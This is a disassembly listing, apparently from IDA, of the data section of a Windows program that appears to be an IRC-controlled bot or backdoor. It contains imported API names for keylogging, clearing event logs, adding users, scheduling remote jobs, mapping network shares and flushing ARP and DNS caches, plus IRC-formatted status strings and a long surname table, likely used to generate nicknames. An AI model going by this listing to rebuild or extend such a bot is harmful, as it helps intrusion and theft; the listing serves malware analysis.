aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409909:loc_40A4D5o
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409909+B97o
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409909+B8Fo
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409909:loc_40A48Bo
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409909:loc_40A417o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409909+AD1o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409909:loc_40A3CDo
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409909:loc_40A383o
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409909+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo
					; sub_418AF1+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409909+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409909+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409909+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409909+9B8o
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409909+9ABo
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409909+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409909+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409909+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409909:loc_40A267o
					; sub_418AF1+58o
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409909+921o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409909+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409909+90Co
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409909:loc_40A208o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409909+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409909:loc_40A0E8o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409909+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409909+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409909+68Co
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409909+67Fo
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409909+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409909+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409909+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409909+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409909+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409909+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409909+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409909+617o
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_409909+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409909+5FDo
		align 10h
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409909+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409909+5D6o
		align 10h
aHtonl		db 'htonl',0            ; DATA XREF: sub_409909+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409909+5BCo
		align 10h
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409909+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409909+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409909+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409909+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409909+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409909+56Eo
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409909+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409909+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409909+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409909+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409909+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409909+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409909+514o
		align 10h
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409909+4A1o
		align 10h
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409909+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409909+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409909+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409909+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o
		align 10h
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409909+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409909:loc_409D36o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409909:loc_409D0Eo
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409909+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409909+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409909+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409909+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409909:loc_409C60o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo
		align 10h
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409909+2C6o
		align 10h
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409909+2B9o
		align 10h
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409909+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409909+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o
		align 10h
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409909+285o
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409909+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409909+270o
		align 10h
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409909:loc_409B68o
		align 10h
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409909+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409909+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409909+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409909+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409909+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409909+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409909+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409909+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409909+14Ao
		align 10h
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409909:loc_409A3Eo
					; sub_425029+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o
		align 10h
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409909+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409909+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409909+52o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409909+45o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409909+38o
		align 10h
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409909+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409909+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409909+Ao
		align 4
unk_42D6CC	db  2Dh	; -		; DATA XREF: sub_40A5C5+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo
		align 10h
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o
		align 4
a_:					; DATA XREF: sub_41036B+252o
		unicode	0, <.>,0
unk_42D85C	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A9E7o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42D88C	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A9B5o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42D8BC	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A981o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 10h
unk_42D8E0	db  2Dh	; -		; DATA XREF: sub_40A928+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AA06+46o
					; sub_40C2AF+38o ...
aReal		db 'real',0
		align 10h
		dd 0
dword_42D924	dd 0			; DATA XREF: sub_40AE84+7o
off_42D928	dd offset sub_40AAAC	; DATA XREF: sub_40AE84+49r
aConst		db 'const',0
		align 8
		dd 1, 40AB19h, 7474656Ch, 7265h, 0
		dd 2, 40AB77h, 706D6F63h, 2 dup(0)
		dd 3, 40ABC4h, 6E756F63h, 797274h, 0
		dd 4, 40AC62h, 736Fh, 2	dup(0)
		dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0
		dd 6, 40AEEDh
off_42D9A4	dd offset aAbdulrazak	; DATA XREF: sub_40AAAC+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D9B0	dd offset aAddison	; DATA XREF: sub_40AE84+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
